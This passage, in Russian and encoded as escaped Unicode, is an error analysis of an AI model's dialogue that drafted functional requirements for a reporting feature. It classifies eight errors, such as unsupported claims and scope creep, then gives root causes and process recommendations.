\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0418\u0418 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0434\u0438\u0430\u043b\u043e\u0433\u0435.\\n\u041a\u0430\u0436\u0434\u0430\u044f \u043e\u0448\u0438\u0431\u043a\u0430 \u043e\u0442\u043d\u0435\u0441\u0435\u043d\u0430 \u043a \u043e\u0434\u043d\u043e\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 issue #345; \u0432\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b\\n\u0443\u043a\u0430\u0437\u0430\u043d\u044b \u0432 \u043f\u043e\u044f\u0441\u043d\u0435\u043d\u0438\u0438. \u0427\u0438\u0441\u043b\u043e \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439 \u043c\u0430\u043b\u043e (`n=8`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0447\u0430\u0441\u0442\u043e\u0442\u044b \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442\\n\u0442\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e\u0442 \u0434\u0438\u0430\u043b\u043e\u0433 \u0438 \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e\u0431\u0449\u0443\u044e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0437\u043d\u0430\u0447\u0438\u043c\u043e\u0441\u0442\u044c.\\n\\n## \u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0439\\n\\n| ID | \u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0438 evidence | \u041a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044f | \u0412\u043b\u0438\u044f\u043d\u0438\u0435 | \u041a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0435\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e |\\n| --- | --- | --- | --- | --- |\\n| ERR-01 | FR-01 \u0438 FR-02 RUN-0063 \u0432\u044b\u0434\u0430\u043b\u0438 \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u041b\u0421 \u0438 \u0432\u044b\u0431\u043e\u0440 \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0437\u0430 \u043d\u043e\u0432\u0443\u044e \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0443; \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0442\u0440\u0438\u0436\u0434\u044b \u0443\u043a\u0430\u0437\u0430\u043b \u043d\u0430 \u043e\u0448\u0438\u0431\u043a\u0443. | \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | Scope \u0440\u0430\u0437\u0434\u0443\u0432\u0430\u0435\u0442\u0441\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043b\u043e\u0436\u043d\u044b\u0435 \u0437\u0430\u0434\u0430\u0447\u0438. | \u0414\u043e \u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0424\u0422 \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 `\u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u2192 \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a`; \u0432 FR \u0432\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u0435\u043b\u044c\u0442\u0443. |\\n| ERR-02 | \u0418\u0418 \u0437\u0430\u044f\u0432\u0438\u043b, \u0447\u0442\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u00ab\u0432\u0441\u0435\u0433\u0434\u0430\u00bb \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c \u041b\u0421 \u0438 \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u041b\u0421 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u043c \u0441\u0435\u043b\u0435\u043a\u0442\u043e\u0440\u043e\u043c, \u0445\u043e\u0442\u044f \u0442\u0430\u043a\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u0434\u0438\u0430\u043b\u043e\u0433\u0435/\u0411\u0417 \u043d\u0435 \u043f\u0440\u0438\u0432\u0435\u043b. | \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0430 \u0434\u043e \u0444\u0430\u043a\u0442\u0430. | \u041b\u044e\u0431\u043e\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0431\u0435\u0437 SSOT \u043c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u043e\u0439; \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 FR. |\\n| ERR-03 | \u0421\u043a\u0440\u0438\u043d\u0448\u043e\u0442 \u044f\u0432\u043d\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 `\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV`, \u043d\u043e FR-05 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u044b\u0431\u043e\u0440 CSV/XLSX. | \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u0414\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442. | \u0421\u0432\u0435\u0440\u044f\u0442\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442 FR \u0441\u043e \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u043c \u0438 \u0411\u0417 \u0434\u043e \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f. |\\n| ERR-04 | FR-06 \u0434\u043e\u0431\u0430\u0432\u0438\u043b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0434\u043e\u0441\u0442\u0443\u043f\u0430/\u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043d\u0430 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432. | \u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u041d\u0435\u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 scope \u0438 \u0440\u0438\u0441\u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438. | \u0422\u0435\u043a\u0443\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0430 \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c, \u043f\u043e\u043a\u0430 SSOT \u043d\u0435 \u043f\u0440\u043e\u0441\u0438\u0442 \u0438\u0445 \u043c\u0435\u043d\u044f\u0442\u044c. |\\n| ERR-05 | \u0418\u0418 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u043b, \u0447\u0442\u043e \u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c \u043d\u0435\u0442, \u0437\u0430\u0442\u0435\u043c \u2014 \u0447\u0442\u043e \u043e\u043d\u0430 \u0435\u0441\u0442\u044c; \u0442\u0435\u043a\u0443\u0449\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435 \u0430\u0433\u0440\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043f\u043e \u0434\u043d\u044f\u043c, \u0430 \u0411\u0417 \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 CDR-\u0441\u0442\u0440\u043e\u043a\u0443. | \u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | \u041d\u0435\u0432\u0435\u0440\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f; \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u0435\u043d\u044f\u043b\u0438\u0441\u044c \u0431\u0435\u0437 evidence. | \u0420\u0430\u0437\u0432\u0435\u0441\u0442\u0438 \u00ab\u0430\u0433\u0440\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0442\u0430\u0431\u043b\u0438\u0446\u044b\u00bb, \u00ab\u0434\u0435\u0442\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f\u00bb \u0438 \u00ab\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u00bb \u0432 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0438; \u043f\u0440\u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438 \u0444\u0430\u043a\u0442\u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0432\u043e\u043f\u0440\u043e\u0441. |\\n| ERR-06 | \u00ab\u041f\u043e\u043b\u0435 \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0438 \u0423\u0441\u043b\u0443\u0433\u0430 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442, \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0438\u0445 \u0432 \u0434\u0430\u043d\u043d\u044b\u0435\u00bb \u0441\u043c\u0435\u0448\u0438\u0432\u0430\u0435\u0442 \u0444\u0438\u043b\u044c\u0442\u0440/\u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0443 \u0441 \u043a\u043e\u043b\u043e\u043d\u043a\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. | \u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 | \u0418\u0437 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430 \u0441\u0434\u0435\u043b\u0430\u043d \u0432\u044b\u0432\u043e\u0434 \u043e \u0441\u0445\u0435\u043c\u0435 \u0434\u0430\u043d\u043d\u044b\u0445. | \u041e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0443 \u0438 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u043a\u0430\u043a \u0440\u0430\u0437\u043d\u044b\u0435 capabilities; \u0441\u0432\u044f\u0437\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. |\\n| ERR-07 | \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u0438\u043b\u0430 \u0432\u043e\u0441\u044c\u043c\u0443\u044e \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u00ab\u0414\u0430\u0442\u0430/\u0432\u0440\u0435\u043c\u044f\u00bb, \u043d\u043e \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043b\u0430 \u0435\u0435 \u0441 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f scope \u0438 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u043b\u0430 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0432\u0438\u0434\u043e\u043c. | \u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 | \u041f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c. | \u041f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043d\u0443\u044e \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u043d\u044b\u0439 baseline \u0441 \u044f\u0432\u043d\u044b\u043c rationale \u0438 human gate. |\\n| ERR-08 | \u0414\u0438\u0430\u043b\u043e\u0433 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u0445 \u0438 \u043d\u0435 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043b \u043e\u0431\u0435\u0449\u0430\u043d\u043d\u044b\u0439 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u0424\u0422; \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0430\u044f PR-\u0441\u0435\u0441\u0441\u0438\u044f \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0430\u0441\u044c \u043d\u0430 \u0446\u0435\u0440\u0435\u043c\u043e\u043d\u0438\u0430\u043b\u044c\u043d\u043e\u043c approval \u043f\u0440\u0438 \u044f\u0432\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c. | \u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 | \u041d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043c\u043e\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430, PR \u043f\u0443\u0441\u0442. | \u0414\u043b\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e solver-run \u0441\u0447\u0438\u0442\u0430\u0442\u044c issue \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; human gate \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u0442\u044c \u043d\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 draft, \u0430 \u043d\u0435 \u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 draft. |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435: **\u041d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 3**, **\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u2014 2**,\\n**\u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 2**, **\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u2014 1**.\\n\\n## \u041f\u0435\u0440\u0432\u043e\u043f\u0440\u0438\u0447\u0438\u043d\u0430\\n\\n\u0421\u0438\u0441\u0442\u0435\u043c\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u043e\u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u2014 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e gate, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0424\u0422\\n\u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0443\u044e \u0434\u0435\u043b\u044c\u0442\u0443. \u0418\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043b\u044c:\\n\\n1. \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u043b\u0430 \u043f\u0440\u0438\u0432\u044b\u0447\u043d\u044b\u0439 \u0448\u0430\u0431\u043b\u043e\u043d \u0424\u0422 \u0442\u0435\u043a\u0443\u0449\u0438\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438;\\n2. \u0437\u0430\u043c\u0435\u043d\u044f\u043b\u0430 \u043f\u0440\u043e\u0431\u0435\u043b\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438;\\n3. \u043d\u0435 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u043b\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a\u0430\u043a \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f baseline;\\n4. \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0430 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043f\u043e \u043b\u043e\u0433\u0443, \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0430\u043c \u0438 \u0411\u0417.\\n\\n\u042d\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 CBAP-\u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u0443\u0435\u043c\u043e\u0441\u0442\u0438, \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f\u043c\u0438:\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u043f\u043e\u0442\u0440\u0435\u0431\u043d\u043e\u0441\u0442\u044c, \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438 \u043d\u0435 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043b\u0438 \u0441\u043a\u0432\u043e\u0437\u043d\u0443\u044e\\n\u0446\u0435\u043f\u043e\u0447\u043a\u0443. \u0421 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f eTOM \u0441\u043c\u0435\u0448\u0430\u043b\u0438\u0441\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430/\u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043e\u0442\u0447\u0435\u0442\u043d\u043e\u0439\\n\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 (**Fulfillment**) \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0441\u0442\u0438/\u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\\n(**Assurance**) \u0431\u0435\u0437 \u044f\u0432\u043d\u044b\u0445 \u0433\u0440\u0430\u043d\u0438\u0446.\\n\\n## \u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438\\n\\n1. \u0414\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044e \u0424\u0422 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0442\u0440\u0438\u0446\u0443 `SSOT \u2192 \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u2192\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u2192 FR \u2192 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043f\u0440\u0438\u0435\u043c\u043a\u0438` \u0438 fail-closed \u043d\u0430 \u043f\u0443\u0441\u0442\u043e\u0439 source.\\n2. \u041f\u0435\u0440\u0435\u0434 FR \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c screenshot/KB gate: \u0432\u0438\u0434\u0438\u043c\u044b\u0439 \u044d\u043b\u0435\u043c\u0435\u043d\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0442\u044c \u043d\u043e\u0432\u043e\u0439\\n   \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u0430 \u043d\u0435\u043b\u044c\u0437\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0430\u043b\u0438\u0447\u0438\u0435\u043c \u043a\u043e\u043b\u043e\u043d\u043a\u0438.\\n3. \u041a\u0430\u0436\u0434\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c decision log: \u043f\u0440\u0438\u043d\u044f\u0442\u043e, \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e,\\n   \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0438\u043b\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441. \u041d\u0435 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043d\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439\\n   \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438.\\n4. \u0412\u043d\u0435\u0441\u0442\u0438 \u0432 \u0431\u0443\u0434\u0443\u0449\u0443\u044e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0443 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u044f\u0432\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0432\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438,\\n   \u0444\u043e\u0440\u043c\u0430\u0442\u0430 \u0444\u0430\u0439\u043b\u0430 \u0438 \u0441\u0445\u0435\u043c\u044b \u0431\u0438\u043b\u043b\u0438\u043d\u0433\u0430 \u0431\u0435\u0437 SSOT.\\n5. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0424\u0422 \u0434\u0432\u0443\u043c\u044f \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0430\u043c\u0438: CBAP traceability/atomicity \u0438 eTOM\\n   Fulfillment/Assurance coverage.\\n\\n## \u0412\u044b\u0431\u043e\u0440 \u0444\u043e\u0440\u043c\u0430\u0442\u0430 UI-\u043b\u043e\u0433\u0438\u043a\u0438\\n\\n\u0414\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u0432\u044b\u0431\u0440\u0430\u043d \u0444\u043e\u0440\u043c\u0430\u0442 **\u0442\u0435\u043a\u0441\u0442\u043e\u0432\u0430\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439 \u0438 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439**\\n\u0441 \u043a\u043e\u043c\u043f\u0430\u043a\u0442\u043d\u043e\u0439 ASCII-\u0441\u0445\u0435\u043c\u043e\u0439 \u0432 \u0424\u0422. \u041e\u043d version-control friendly, \u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\\n\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435, 